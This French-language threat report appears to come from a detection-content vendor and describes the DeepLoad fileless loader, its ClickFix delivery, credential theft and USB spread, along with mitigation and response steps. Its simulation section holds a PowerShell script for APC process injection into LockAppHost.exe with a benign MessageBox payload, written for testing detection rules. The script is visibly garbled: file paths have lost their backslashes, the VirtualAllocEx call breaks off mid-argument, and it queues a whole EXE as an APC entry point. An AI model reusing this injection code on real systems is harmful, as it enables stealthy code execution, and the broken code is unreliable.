SOC Prime Bias: Moyen

25 May 2026 16:34 UTC

DeepLoad Malware Explication : Livraison ClickFix et Vol d’Identifiants

Author Photo
SOC Prime Team linkedin icon Suivre
DeepLoad Malware Explication : Livraison ClickFix et Vol d’Identifiants
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

DeepLoad est un chargeur de logiciels malveillants sans fichier observé pour la première fois en mars 2026 qui se propage par une tactique d’ingénierie sociale connue sous le nom de ClickFix, qui persuade les utilisateurs d’exécuter une commande PowerShell malveillante. Une fois exécuté, le chargeur décrypte sa charge utile en mémoire et l’injecte dans des processus Windows de confiance via des appels de procédures asynchrones. Il déploie ensuite un voleur d’identifiants nommé filemanager.exe avec une extension de navigateur malveillante pour voler les mots de passe enregistrés et enregistrer les frappes de clavier. Le logiciel malveillant peut également se propager via des lecteurs USB en déposant de nombreux fichiers de raccourci qui redémarrent la chaîne d’infection sur un autre système.

Enquête

La recherche décrit la commande initiale utilisée pour récupérer le chargeur PowerShell d’un serveur distant, les techniques d’obfuscation appliquées tout au long de l’exécution, et l’injection de processus basée sur l’APC dans des binaires tels que LockAppHost.exe. Elle décrit également les deux composants distincts de vol d’identifiants et la méthode de mouvement latéral basée sur USB qui utilise des fichiers .lnk déguisés en installateurs de logiciels courants. Le rapport fait également référence à des modules de simulation Picus qui peuvent être utilisés pour tester les défenses contre ce comportement.

Atténuation

Les défenseurs devraient bloquer l’exécution de commandes PowerShell non fiables, surveiller la création de tâches planifiées suspectes et l’utilisation anormale de mshta.exe, et appliquer des contrôles stricts d’exécution pour les scripts PowerShell. La détection de l’injection basée sur l’APC, la surveillance des .lnk fichiers sur les supports amovibles, et la limitation du stockage des identifiants dans le navigateur peuvent tous aider à réduire l’impact. Une protection des terminaux capable d’inspecter le décryptage et le comportement d’injection en mémoire est également recommandée.

Réponse

Si une activité de DeepLoad est détectée, isolez immédiatement le terminal affecté, terminez les processus suspects comme filemanager.exe et tous les binaires de confiance montrant des signes d’injection, et supprimez toutes les tâches planifiées créées par le logiciel malveillant. Réinitialisez les identifiants des comptes compromis, scannez les supports amovibles pour déceler des fichiers de raccourci malveillants, et effectuez une analyse forensique pour identifier tout mécanisme de persistance. Les règles de détection doivent également être mises à jour pour couvrir les modèles de ligne de commande observés et les techniques d’injection.

Flux d’attaque

Exécution de la simulation

Prérequis : Le contrôle initial de télémétrie et de base a dû être réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et la narration doivent refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Narration et commandes de l’attaque :

    L’attaquant a délivré un script PowerShell malveillant (le « chargeur ») qui s’exécute dans le contexte de l’utilisateur connecté (Exécution de l’utilisateur – T1204). Le chargeur effectue les étapes suivantes :

    1. Mettre en place la charge utile – écrit un binaire C compilé (la « charge utile ») dans %TEMP%.
    2. Créer une instance suspendue d’un processus de confiance (LockAppHost.exe) en utilisant CreateProcessA avec le CREATE_SUSPENDED drapeau.
    3. Injecter la charge utile dans le processus suspendu en appelant WriteProcessMemory pour copier le binaire dans l’espace d’adresse de la cible.
    4. Mettre en file d’attente un APC (QueueUserAPC) qui pointe vers le point d’entrée de la charge utile, provoquant l’exécution de la charge utile lorsque le thread cible reprend.
    5. Reprendre le thread, complétant l’injection.

    Cette séquence exacte génère un seul événement de création de processus pour LockAppHost.exe dont le Sysmon Champ CallTrace contient les trois appels d’API liés à l’injection, satisfaisant la règle Sigma.

  • Script de test de régression :

    # Simulation d'injection par APC de DeepLoad (PowerShell + compilation C# en mémoire)
    # --------------------------------------------------------------
    # 1. Compiler une charge utile C minimale (MessageBox) en un EXE temporaire
    $payloadSource = @"
    #include <windows.h>
    int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) {
        MessageBoxA(NULL, "Injecté par DeepLoad", "Succès", MB_OK);
        return 0;
    }
    "@
    
    $tempDir = "$env:TEMPDeepLoadDemo"
    New-Item -ItemType Directory -Force -Path $tempDir | Out-Null
    $cFile = "$tempDirpayload.c"
    $exeFile = "$tempDirpayload.exe"
    $payloadSource | Set-Content -Path $cFile -Encoding ASCII
    
    # Utilisez le compilateur Visual C++ si disponible ; sinon, utilisez Add-Type de PowerShell (crée une DLL, pas un EXE)
    if (Get-Command cl.exe -ErrorAction SilentlyContinue) {
        & cl.exe /nologo /O2 /MT $cFile /link /OUT:$exeFile
    } else {
        Write-Error "Compilateur C introuvable – compilation manuelle requise."
        exit 1
    }
    
    # 2. Préparation de l'injection
    $targetPath = "C:WindowsSystem32LockAppHost.exe"
    $STARTUPINFO = New-Object System.Diagnostics.ProcessStartInfo
    $STARTUPINFO.FileName = $targetPath
    $STARTUPINFO.Arguments = ""
    $STARTUPINFO.RedirectStandardOutput = $false
    $STARTUPINFO.UseShellExecute = $false
    $proc = New-Object System.Diagnostics.Process
    $proc.StartInfo = $STARTUPINFO
    $proc.StartInfo.CreateNoWindow = $true
    $proc.StartInfo.Verb = "runas"  # assurer une élévation si nécessaire
    
    # Créer un processus suspendu
    $pInfo = New-Object System.Diagnostics.ProcessStartInfo
    $pInfo.FileName = $targetPath
    $pInfo.Arguments = ""
    $pInfo.UseShellExecute = $false
    $pInfo.CreateNoWindow = $true
    
    $procStartInfo = [System.Diagnostics.ProcessStartInfo]::new()
    $procStartInfo.FileName = $targetPath
    $procStartInfo.Arguments = ""
    $procStartInfo.UseShellExecute = $false
    $procStartInfo.CreateNoWindow = $true
    
    # Définitions P/Invoke
    $sig = @"
    using System;
    using System.Runtime.InteropServices;
    public class Native {
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool CreateProcessA(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
            uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
            byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, UIntPtr dwData);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern uint ResumeThread(IntPtr hThread);
        public const uint CREATE_SUSPENDED = 0x00000004;
        public const uint MEM_COMMIT = 0x1000;
        public const uint PAGE_EXECUTE_READWRITE = 0x40;
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
        public struct STARTUPINFO {
            public uint cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public ushort wShowWindow;
            public ushort cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }
    }
    "@
    
    Add-Type $sig
    
    # Initialiser les structures
    $si = New-Object Native+STARTUPINFO
    $pi = New-Object Native+PROCESS_INFORMATION
    $si.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($si)
    
    # Créer LockAppHost suspendu
    $created = [Native]::CreateProcessA($null, $targetPath, [IntPtr]::Zero, [IntPtr]::Zero,
        $false, [Native]::CREATE_SUSPENDED, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
    
    if (-not $created) {
        Write-Error "CreateProcessA a échoué : $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())"
        exit 1
    }
    
    # Lire le binaire de la charge utile
    $payloadBytes = [System.IO.File]::ReadAllBytes($exeFile)
    
    # Allouer de la mémoire dans la cible
    $remoteAddr = [Native]::VirtualAllocEx($pi.hProcess, [IntPtr]::Zero, $payloadBytes.Length,
    
    if ($remoteAddr -eq [IntPtr]::Zero) {
        Write-Error "VirtualAllocEx a échoué."
        exit 1
    }
    
    # Écrire la charge utile
    $bytesWritten = [UIntPtr]::Zero
    $writeOk = [Native]::WriteProcessMemory($pi.hProcess, $remoteAddr, $payloadBytes, $payloadBytes.Length, [ref]$bytesWritten)
    
    if (-not $writeOk) {
        Write-Error "WriteProcessMemory a échoué."
        exit 1
    }
    
    # Mettre en file d'attente l'APC (pointant vers le point d'entrée de la charge utile)
    $apcResult = [Native]::QueueUserAPC($remoteAddr, $pi.hThread, [UIntPtr]::Zero)
    
    # Reprendre le thread pour exécuter l'APC
    [Native]::ResumeThread($pi.hThread) | Out-Null
    
    Write-Host "Injection complétée – la charge utile devrait apparaître sous peu."
  • Commandes de nettoyage :

    # Terminer l'instance LockAppHost injectée (si encore en cours d'exécution)
    Get-Process -Name "LockAppHost" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Supprimer les fichiers temporaires
    Remove-Item -Recurse -Force "$env:TEMPDeepLoadDemo"

Résultats de validation (à remplir après exécution)

  • Règle Déclenchée : Oui / Non
  • Nombre d’alertes générées : ___
  • Vérification des faux positifs : L’exécution bénigne n’a généré aucune alerte (comme confirmé par la requête de validation).

Résumé des recommandations

  1. Corréler entre les événements – Ajouter une règle secondaire qui surveille les WriteProcessMemory or QueueUserAPC événements se produisant dans un court intervalle de temps après une LockAppHost.exe création.
  2. Élargir la portée de l’image – Inclure d’autres binaires de confiance couramment abusés pour l’injection APC (par exemple, svchost.exe, explorer.exe).
  3. Enrichissement comportemental – Signaler les processus qui chargent des DLL non signées ou s’exécutent depuis %TEMP% après l’injection.
  4. Atténuation de l’évasion – Surveiller les mêmes appels d’API répartis sur plusieurs processus, ce qui passe actuellement à travers la condition d’événement unique.